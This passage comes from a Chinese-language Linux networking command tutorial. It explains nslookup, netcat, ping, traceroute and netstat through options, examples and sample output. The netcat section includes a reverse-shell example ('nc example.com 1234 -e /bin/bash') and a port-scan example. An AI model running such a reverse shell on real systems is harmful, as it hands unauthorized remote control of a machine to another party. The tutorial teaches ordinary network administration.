Address:        8.8.8.8#53Non-authoritative answer:
Name:   example.com
Address: 93.184.216.34

查询指定类型的 DNS 记录：

# 查询 MX 记录（邮件服务器）
nslookup -type=MX example.com# 查询 NS 记录（域名服务器）
nslookup -type=NS example.com# 查询 TXT 记录（文本记录）
nslookup -type=TXT example.com

反向查找 IP 地址对应的域名：

nslookup 93.184.216.34
# 输出示例：
34.216.184.93.in-addr.arpa     name = example.com.

指定 DNS 服务器查询：

nslookup example.com 8.8.8.8
# 这将使用 Google 的公共 DNS 服务器（8.8.8.8）进行查询。

查询域名的 SOA 记录

nslookup -type=SOA example.com

查询 IPv6 地址

nslookup -type=AAAA example.com

设置查询超时时间

nslookup -timeout=5 example.com
# 这将设置查询超时时间为 5 秒。

2.13.3、交互模式

nslookup 支持交互模式，可以在命令行中输入 nslookup 进入交互模式，然后输入查询命令。

nslookup
> example.com
> set type=MX
> example.com
> exit

2.13.4、高级用法

查询域名的 SPF 记录：

nslookup -type=TXT example.com
# SPF 记录通常以 v=spf1 开头。

查询域名的 CNAME 记录：

nslookup -type=CNAME www.example.com

查询域名的 PTR 记录：

nslookup -type=PTR 34.216.184.93.in-addr.arpa

显示详细的调试信息：

nslookup -debug example.com

2.13.5、注意事项

• DNS 缓存：查询结果可能受到本地 DNS 缓存的影响。如果需要最新结果，可以刷新 DNS 缓存。
• DNS 服务器：默认情况下，nslookup 使用系统配置的 DNS 服务器。可以通过指定 DNS 服务器来覆盖默认设置。
• 超时设置：如果网络较慢，可以增加超时时间以避免查询失败。

2.13.6、与其他工具的比较

• host：功能类似，但输出更简洁。
• dig：功能更强大，适合高级用户。

2.14、nc/netcat

netcat（通常简称为 nc）是一个功能强大的网络工具，被称为“网络瑞士军刀”。它可以用于创建 TCP/UDP 连接、端口扫描、文件传输、端口监听等。

2.14.1、基本用法

nc [选项] [主机名或IP地址] [端口]

常用选项：

• -l 监听模式（作为服务器）。
• -p <端口> 指定本地端口（通常用于监听模式）。
• -u 使用 UDP 协议（默认是 TCP）。
• -v 显示详细信息（verbose）。
• -vv 显示更详细的信息。
• -z 端口扫描模式（不发送数据）。
• -w <秒> 设置超时时间。
• -n 直接使用 IP 地址，不进行 DNS 解析。
• -e <命令> 在连接后执行指定命令（常用于反向 Shell）。

2.14.2、常用操作

连接到远程服务器

nc example.com 80
# 连接到 example.com 的 80 端口（HTTP 服务）。连接成功后，可以手动输入 HTTP 请求，例如：
GET / HTTP/1.1
Host: example.com

监听端口（作为服务器）

nc -l -p 1234
#在本地 1234 端口监听连接。其他设备可以通过 nc <IP地址> 1234 连接到该端口。

文件传输

# 发送文件（从客户端到服务器）：
nc -l -p 1234 > received_file.txt  # 服务器端
nc example.com 1234 < file_to_send.txt  # 客户端
# 接收文件（从服务器到客户端）：
nc -l -p 1234 < file_to_send.txt  # 服务器端
nc example.com 1234 > received_file.txt  # 客户端

端口扫描

nc -zv example.com 20-30
#扫描 example.com 的 20 到 30 端口，检查哪些端口是开放的。

使用 UDP 协议

nc -u example.com 53
#使用 UDP 协议连接到 example.com 的 53 端口（DNS 服务）。

反向 Shell

# 服务器端（监听连接）：
nc -l -p 1234
# 客户端（连接并执行 Shell）：
nc example.com 1234 -e /bin/bash
# 连接成功后，服务器端可以执行 Shell 命令。

聊天模式

# 服务器端：
nc -l -p 1234
# 客户端：
nc example.com 1234
# 连接成功后，双方可以实时发送消息。

测试网络连通性

nc -zv example.com 80
# 测试 example.com 的 80 端口是否开放。

设置超时时间

nc -w 5 example.com 80
# 设置连接超时时间为 5 秒。

直接使用 IP 地址

nc -n 192.168.1.1 80
# 直接使用 IP 地址，不进行 DNS 解析。

2.14.3、高级用法

创建 HTTP 服务器

echo -e "HTTP/1.1 200 OK\n\nHello, World!" | nc -l -p 8080
# 在本地 8080 端口创建一个简单的 HTTP 服务器。访问 http://<IP地址>:8080 可以看到 "Hello, World!"。

创建反向代理

nc -l -p 1234 | nc example.com 80
# 将本地 1234 端口的流量转发到 example.com 的 80 端口。

测试 SMTP 服务器

nc example.com 25
# 连接到 example.com 的 25 端口（SMTP 服务），可以手动输入 SMTP 命令进行测试。

测试 DNS 服务器

nc -u example.com 53
# 连接到 example.com 的 53 端口（DNS 服务），可以手动发送 DNS 查询。

2.14.4、注意事项

• 安全性：netcat 功能强大，但使用不当可能导致安全风险（如反向 Shell）。在生产环境中应谨慎使用。
• 防火墙：确保防火墙允许相关端口的流量。
• 版本差异：不同操作系统上的 netcat 版本可能略有差异，某些选项可能不可用。

2.14.5、与其它工具比较

• telnet：功能类似，但 netcat 更强大。
• socat：功能更强大，支持更多协议和高级功能。
• nmap：更适合端口扫描和网络探测。

2.15、ping

ping 命令用来测试主机之间网络的连通性。执行 ping 指令会使用 ICMP 传输协议，发出要求回应的信息，若远端主机的网络功能没有问题，就会回应该信息，因而得知该主机运作正常。

2.15.1、基本用法

ping [选项] [目标主机名或IP地址]

常用选项：

• -c <次数> 指定发送的 ICMP 包次数。
• -i <秒> 设置发送 ICMP 包的时间间隔（默认 1 秒）。
• -s <字节> 设置 ICMP 包的大小（默认 56 字节）。
• -t <TTL> 设置 ICMP 包的生存时间（TTL）。
• -W <秒> 设置等待响应的超时时间。
• -q 静默模式，只显示统计信息。
• -v 显示详细信息。
• -4 强制使用 IPv4。
• -6 强制使用 IPv6。

2.15.2、常用操作

测试网络连通性

ping example.com
#持续向 example.com 发送 ICMP 包，直到手动停止（按 Ctrl+C）。

指定发送次数

ping -c 5 example.com
#向 example.com 发送 5 个 ICMP 包后停止。

设置发送间隔

ping -i 2 example.com
# 每隔 2 秒发送一个 ICMP 包。

设置包大小

ping -s 1000 example.com
# 发送大小为 1000 字节的 ICMP 包。

设置超时时间

ping -W 3 example.com
# 等待响应的超时时间为 3 秒。

静默模式

ping -c 5 -q example.com
# 只显示统计信息，不显示每个 ICMP 包的详细信息。

强制使用 IPv4 或 IPv6

ping -4 example.com  # 强制使用 IPv4
ping -6 example.com  # 强制使用 IPv6

2.15.3、输出解析

ping 命令的典型输出如下：

PING example.com (93.184.216.34): 56 data bytes
64 bytes from 93.184.216.34: icmp_seq=0 ttl=55 time=25.3 ms
64 bytes from 93.184.216.34: icmp_seq=1 ttl=55 time=24.8 ms
64 bytes from 93.184.216.34: icmp_seq=2 ttl=55 time=25.1 ms--- example.com ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 24.8/25.1/25.3/0.2 ms

• icmp_seq：ICMP 包的序列号。
• ttl：包的生存时间（Time To Live）。
• time：包的往返时间（Round-Trip Time, RTT）。
• packet loss：丢包率。
• min/avg/max/stddev：最小、平均、最大和标准偏差的往返时间。

2.15.4、高级用法

测试本地网络

ping 127.0.0.1
# 测试本地环回接口，检查网络协议栈是否正常。

测试局域网设备

ping 192.168.1.1
# 测试局域网中的设备（如路由器）是否可达。

测试 DNS 解析

ping example.com
# 测试 DNS 解析是否正常，同时检查目标主机是否可达。

测试网络性能

ping -c 10 -i 0.5 example.com
# 通过发送 10 个 ICMP 包，间隔 0.5 秒，测试网络延迟和稳定性。

检查 MTU 大小

ping -s 1472 -M do example.com
# 测试最大传输单元（MTU）大小。如果包大小超过 MTU，会收到“Packet needs to be fragmented”的提示。

2.15.4、注意事项

• 权限：在某些系统中，ping 需要管理员权限（如 Linux 中使用 sudo）。
• 防火墙：目标主机的防火墙可能阻止 ICMP 包，导致 ping 失败。
• 网络问题：如果 ping 失败，可能是网络配置、路由或硬件问题。

2.15.5、与其他工具的比较

• traceroute：用于追踪数据包从源到目标的路径。
• mtr：结合 ping 和 traceroute 的功能，实时显示网络状况。
• fping：快速并行 ping 多个主机。

2.16、traceroute

traceroute 是一个网络诊断工具，用于追踪数据包从源主机到目标主机的路径。它通过发送一系列 ICMP 或 UDP 包，并逐步增加 TTL（Time To Live）值，从而显示数据包经过的每一跳（路由器或网关）的 IP 地址和延迟信息。它默认发送的数据包大小是 40 字节。

2.16.1、基本用法

traceroute [选项] [目标主机名或IP地址]

常用选项：

• -I 使用 ICMP 包（默认使用 UDP 包）。
• -T 使用 TCP SYN 包。
• -n 不解析主机名，直接显示 IP 地址。
• -m <最大跳数> 设置最大跳数（默认 30）。
• -q <查询次数> 每跳发送的查询次数（默认 3）。
• -w <超时时间> 设置等待响应的超时时间（秒）。
• -4 强制使用 IPv4。
• -6 强制使用 IPv6。

2.16.2、常用操作

追踪路径

traceroute example.com
# 追踪数据包到 example.com 的路径。

使用 ICMP 包

traceroute -I example.com
# 使用 ICMP 包代替默认的 UDP 包。

不解析主机名

traceroute -n example.com
# 直接显示 IP 地址，不解析主机名。

设置最大跳数

traceroute -m 20 example.com
# 设置最大跳数为 20。

设置查询次数

traceroute -q 5 example.com
# 每跳发送 5 个查询包。

设置超时时间

traceroute -w 2 example.com
# 设置等待响应的超时时间为 2 秒。

强制使用 IPv4 或 IPv6

traceroute -4 example.com  # 强制使用 IPv4
traceroute -6 example.com  # 强制使用 IPv6

2.16.3、输出解析

traceroute 命令的典型输出如下：

traceroute to example.com (93.184.216.34), 30 hops max, 60 byte packets1  192.168.1.1 (192.168.1.1)  1.234 ms  1.345 ms  1.456 ms2  10.0.0.1 (10.0.0.1)  5.678 ms  5.789 ms  5.890 ms3  203.0.113.1 (203.0.113.1)  10.123 ms  10.234 ms  10.345 ms4  93.184.216.34 (93.184.216.34)  25.678 ms  25.789 ms  25.890 ms

• 跳数：每行的第一个数字表示跳数（即经过的路由器数量）。
• IP 地址和主机名：显示每一跳的 IP 地址和主机名（如果启用解析）。
• 延迟：每跳的延迟时间（通常显示 3 个值，分别对应 3 次查询）。

2.16.4、高级用法

追踪本地网络

traceroute 192.168.1.1
# 追踪局域网中的设备（如路由器）路径。

追踪 IPv6 地址

traceroute -6 example.com
# 追踪 IPv6 地址的路径。

使用 TCP SYN 包

traceroute -T example.com
# 使用 TCP SYN 包代替默认的 UDP 包。

检查防火墙规则

traceroute -T -p 80 example.com
# 使用 TCP SYN 包并指定端口（如 80），检查防火墙是否允许该端口的流量。

设置包大小

traceroute -s 100 example.com
# 设置 ICMP 包的大小为 100 字节。

2.16.5、注意事项

• 权限：在某些系统中，traceroute 需要管理员权限（如 Linux 中使用 sudo）。
• 防火墙：目标主机的防火墙可能阻止 ICMP 或 UDP 包，导致某些跳无法显示。
• 网络问题：如果 traceroute 显示 *，表示该跳未响应，可能是网络配置或硬件问题。

2.16.6、与其他工具的比较

• ping：测试主机之间的连通性和延迟。
• mtr：结合 ping 和 traceroute 的功能，实时显示网络状况。
• pathping（Windows）：结合 ping 和 tracert 的功能，提供更详细的统计信息。

2.17、netstat

netstat 是一个功能强大的网络工具，用于显示网络连接、路由表、接口统计信息、伪装连接、多播成员等信息。它可以帮助你监控和分析网络活动。

2.17.1、基本用法

netstat [选项]

常用选项：

• -a 显示所有连接和监听端口。
• -t 显示 TCP 连接。
• -u 显示 UDP 连接。
• -n 以数字形式显示地址和端口号（不解析主机名和服务名）。
• -p 显示进程 ID 和程序名称。
• -r 显示路由表。
• -s 显示每个协议的统计信息。
• -l 显示监听中的端口。
• -c 持续输出信息（实时刷新）。
• -i 显示网络接口的统计信息。
• -g 显示多播组成员信息。

2.17.2、常用操作

显示所有连接和监听端口

netstat -a
# 显示所有活动的网络连接和监听端口。

显示 TCP 连接

netstat -at
# 显示所有 TCP 连接。

显示 UDP 连接

netstat -au
# 显示所有 UDP 连接。

以数字形式显示地址和端口

netstat -an
# 显示所有连接，但不解析主机名和服务名。

显示进程 ID 和程序名称

netstat -tunp
# 显示 TCP 和 UDP 连接，并显示进程 ID 和程序名称。

显示路由表

netstat -r
# 显示系统的路由表。

显示协议统计信息

netstat -s
# 显示每个协议（如 TCP、UDP、ICMP 等）的统计信息。

显示监听中的端口

netstat -l
# 显示所有监听中的端口。

持续输出信息

netstat -c
# 持续输出网络连接信息，类似于实时监控。

显示网络接口统计信息

netstat -i
# 显示网络接口的统计信息，包括接收和发送的数据包数量。

显示多播组成员信息

netstat -g
# 显示多播组成员信息。

2.17.3、输出解析

连接信息

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 192.168.1.100:22       192.168.1.1:54321       ESTABLISHED

• Proto：协议类型（如 TCP、UDP）。
• Recv-Q：接收队列中的数据量。
• Send-Q：发送队列中的数据量。
• Local Address：本地地址和端口。
• Foreign Address：远程地址和端口。
• State：连接状态（如 ESTABLISHED、LISTENING）。

路由表

Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

• Destination：目标网络或主机。
• Gateway：网关地址。
• Genmask：子网掩码。
• Flags：路由标志（如 U=活动，G=网关）。
• Metric：路由成本。
• Iface：网络接口。

接口统计信息

Iface   MTU Met   RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0   1500 0     12345   0     0     0         6789   0     0     0     BMRU

• Iface：网络接口名称。
• MTU：最大传输单元。
• RX-OK/TX-OK：成功接收/发送的数据包数量。
• RX-ERR/TX-ERR：接收/发送错误的数据包数量。
• RX-DRP/TX-DRP：丢弃的接收/发送数据包数量。
• RX-OVR/TX-OVR：接收/发送溢出的数据包数量。
• Flg：接口标志（如 B=广播，M=多播，R=运行，U=活动）。

2.17.4、高级用法

显示 TCP 连接的进程信息

netstat -tnp
# 显示所有 TCP 连接，并显示进程 ID 和程序名称。

显示 UDP 连接的进程信息

netstat -unp
# 显示所有 UDP 连接，并显示进程 ID 和程序名称。

显示监听中的 TCP 端口

netstat -ltn
# 显示所有监听中的 TCP 端口，并以数字形式显示地址和端口。

显示监听中的 UDP 端口

netstat -lun
# 显示所有监听中的 UDP 端口，并以数字形式显示地址和端口。

显示所有网络接口的详细信息

netstat -ie
# 显示所有网络接口的详细信息，包括 IP 地址、MAC 地址等。

显示多播组成员信息

netstat -g
# 显示多播组成员信息，包括接口和多播地址。

2.17.5、注意事项

• 权限：在某些系统中，netstat 需要管理员权限（如 Linux 中使用 sudo）。
• 替代工具：在某些现代 Linux 发行版中，ss 和 ip 命令已逐渐取代 netstat，功能更强大且性能更好。

2.17.6、与其它工具的比较

• ss：显示套接字统计信息，功能更强大且性能更好。
• ip：显示和配置网络接口、路由、地址等信息。
• lsof：显示打开的文件和网络连接。